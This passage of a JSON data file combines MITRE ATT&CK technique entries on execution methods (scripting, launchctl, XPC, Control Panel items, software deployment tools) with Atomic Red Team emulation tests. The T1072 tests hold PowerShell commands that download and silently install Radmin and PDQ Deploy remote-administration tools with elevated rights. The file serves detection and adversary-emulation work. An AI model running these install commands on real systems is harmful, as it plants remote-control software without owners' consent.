- "description": "Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.",
- "source_name": "Uperesia Malicious Office Documents"
- }
- ],
- "modified": "2020-03-30T13:39:24.852Z",
- "name": "Scripting",
- "description": "**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)",
- "x_mitre_deprecated": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Process whitelisting",
- "Data Execution Prevention",
- "Exploit Prevention"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1569.001": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d",
- "type": "attack-pattern",
- "created": "2020-03-10T18:26:56.187Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1569.001",
- "url": "https://attack.mitre.org/techniques/T1569/001"
- },
- {
- "source_name": "Launchctl Man",
- "url": "https://ss64.com/osx/launchctl.html",
- "description": "SS64. (n.d.). launchctl. Retrieved March 28, 2020."
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
- "source_name": "Sofacy Komplex Trojan"
- },
- {
- "source_name": "20 macOS Common Tools and Techniques",
- "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
- "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."
- }
- ],
- "modified": "2021-10-15T18:40:23.141Z",
- "name": "System Services: Launchctl",
- "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load
,launchctl unload
, and launchctl start
. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\"
or /bin/launchctl load
to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl
command. Plist files are located in the root, system, and users /Library/LaunchAgents
or /Library/LaunchDaemons
folders. \n\nMonitor command-line execution of the launchctl
command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp
and /Shared
folders locations are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "Service: Service Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root"
- ],
- "identifier": "T1569.001"
- },
- "atomic_tests": []
- },
- "T1059.008": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4",
- "created": "2020-10-20T00:09:33.072Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1059.008",
- "url": "https://attack.mitre.org/techniques/T1059/008"
- },
- {
- "source_name": "Cisco IOS Software Integrity Assurance - Command History",
- "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23",
- "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."
- },
- {
- "source_name": "Cisco Synful Knock Evolution",
- "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
- "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)",
- "modified": "2022-04-19T20:28:09.848Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Network Device CLI",
- "x_mitre_detection": "Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\n\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution"
- ],
- "x_mitre_remote_support": true,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1559.003": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Csaba Fitzl @theevilbit of Offensive Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19",
- "created": "2021-10-12T06:45:36.763Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1559.003",
- "url": "https://attack.mitre.org/techniques/T1559/003"
- },
- {
- "source_name": "creatingXPCservices",
- "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1",
- "description": "Apple. (2016, September 9). Creating XPC Services. Retrieved April 19, 2022."
- },
- {
- "source_name": "Designing Daemons Apple Dev",
- "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html",
- "description": "Apple. (n.d.). Retrieved October 12, 2021."
- },
- {
- "source_name": "CVMServer Vuln",
- "url": "https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html",
- "description": "Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability in macOS and iOS. Retrieved October 12, 2021."
- },
- {
- "source_name": "Learn XPC Exploitation",
- "url": "https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/",
- "description": "Wojciech Regu\u0142a. (2020, June 29). Learn XPC exploitation. Retrieved October 12, 2021."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API
or the high level NSXPCConnection API
in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",
- "modified": "2022-04-20T22:54:47.164Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "XPC Services",
- "x_mitre_detection": "",
- "kill_chain_phases": [
- {
- "phase_name": "execution",
- "kill_chain_name": "mitre-attack"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Access"
- ],
- "x_mitre_remote_support": false,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1204": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS",
- "IaaS",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Oleg Skulkin, Group-IB"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "1.5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1204",
- "url": "https://attack.mitre.org/techniques/T1204"
- },
- {
- "source_name": "Telephone Attack Delivery",
- "url": "https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery",
- "description": "Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)",
- "modified": "2022-04-19T20:31:15.373Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "User Execution",
- "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Container: Container Start",
- "Command: Command Execution",
- "Instance: Instance Creation",
- "Instance: Instance Start",
- "File: File Creation",
- "Network Traffic: Network Traffic Content",
- "Process: Process Creation",
- "Application Log: Application Log Content",
- "Container: Container Creation",
- "Network Traffic: Network Connection Creation",
- "Image: Image Creation"
- ],
- "x_mitre_remote_support": false,
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1196": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1196",
- "url": "https://attack.mitre.org/techniques/T1196"
- },
- {
- "source_name": "Microsoft Implementing CPL",
- "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
- "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
- },
- {
- "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
- "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
- "source_name": "TrendMicro CPL Malware Jan 2014"
- },
- {
- "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/",
- "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
- "source_name": "TrendMicro CPL Malware Dec 2013"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/",
- "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
- "source_name": "Palo Alto Reaver Nov 2017"
- }
- ],
- "modified": "2020-01-31T18:59:21.682Z",
- "name": "Control Panel Items",
- "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: control.exe file.cpl
) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: rundll32.exe shell32.dll,Control_RunDLL file.cpl
). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace
and HKEY_CLASSES_ROOT\\CLSID\\{GUID}
. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the Cpls
and Extended Properties
Registry keys of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel
. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically ( WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);
) or from a command line (control.exe /name {Canonical_Name}
). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers
where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Process whitelisting"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1053.004": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3",
- "type": "attack-pattern",
- "created": "2019-12-03T14:15:27.452Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.004",
- "url": "https://attack.mitre.org/techniques/T1053/004"
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
- "source_name": "AppleDocs Launch Agent Daemons"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- }
- ],
- "modified": "2021-10-07T21:38:03.610Z",
- "name": "Launchd",
- "description": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd
daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd
daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons
and /Library/LaunchDaemons
(Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd
daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd
can also be abused to run a process under the context of a specified account. Daemons, such as launchd
, run with the permissions of the root user account, and will operate regardless of which user account is logged in.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_deprecated": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1072": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Shane Tully, @securitygypsy"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:57.201Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1072",
- "url": "https://attack.mitre.org/techniques/T1072"
- },
- {
- "external_id": "CAPEC-187",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/187.html"
- }
- ],
- "modified": "2020-12-11T17:00:00.938Z",
- "name": "Software Deployment Tools",
- "description": "Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "lateral-movement"
- }
- ],
- "x_mitre_detection": "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.",
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Application Log: Application Log Content"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1072"
- },
- "atomic_tests": [
- {
- "name": "Radmin Viewer Utility",
- "auto_generated_guid": "b4988cad-6ed2-434d-ace5-ea2670782129",
- "description": "An adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "radmin_installer": {
- "description": "Radmin Viewer installer",
- "type": "path",
- "default": "RadminViewer.msi"
- },
- "radmin_exe": {
- "description": "The radmin.exe executable from RadminViewer.msi",
- "type": "path",
- "default": "Radmin Viewer 3/Radmin.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Radmin Viewer Utility must be installed at specified location (#{radmin_exe})\n",
- "prereq_command": "if (Test-Path \"${env:ProgramFiles(x86)}/#{radmin_exe}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Downloading radmin installer\n(New-Object Net.WebClient).DownloadFile(\"https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi\",\"$ENV:Temp\\#{radmin_installer}\")\nWrite-Host Install Radmin\nStart-Process msiexec -Wait -ArgumentList /i , $ENV:Temp\\#{radmin_installer}, /qn\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "\"%PROGRAMFILES(x86)%/#{radmin_exe}\"\n"
- }
- },
- {
- "name": "PDQ Deploy RAT",
- "auto_generated_guid": "e447b83b-a698-4feb-bed1-a7aaf45c3443",
- "description": "An adversary may use PDQ Deploy Software to deploy the Remote Adminstartion Tool, this will start the PDQ console.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "PDQ_Deploy_installer": {
- "description": "PDQ Deploy Install",
- "type": "path",
- "default": "PDQDeploysetup.exe"
- },
- "PDQ_Deploy_exe": {
- "description": "The PDQDeployConsole.exe executable from PDQDeploysetup.exe",
- "type": "path",
- "default": "Admin Arsenal/PDQ Deploy/PDQDeployConsole.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "PDQ Deploy will be installed at specified location (#{PDQ_Deploy_exe})\n",
- "prereq_command": "if (Test-Path \"${env:ProgramFiles(x86)}/#{PDQ_Deploy_exe}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Downloading PDQ Deploy installer\n(New-Object Net.WebClient).DownloadFile(\"https://download.pdq.com/release/19/Deploy_19.3.350.0.exe\",\"$ENV:Temp\\#{PDQ_Deploy_installer}\")\nWrite-Host Install PDQ Deploy\nStart-Process $ENV:Temp\\#{PDQ_Deploy_installer} -Wait -ArgumentList \"/s\"\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "\"%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}\"\n"
- }
- }
- ]
- },
- "T1059.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Mayuresh Dani, Qualys",
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
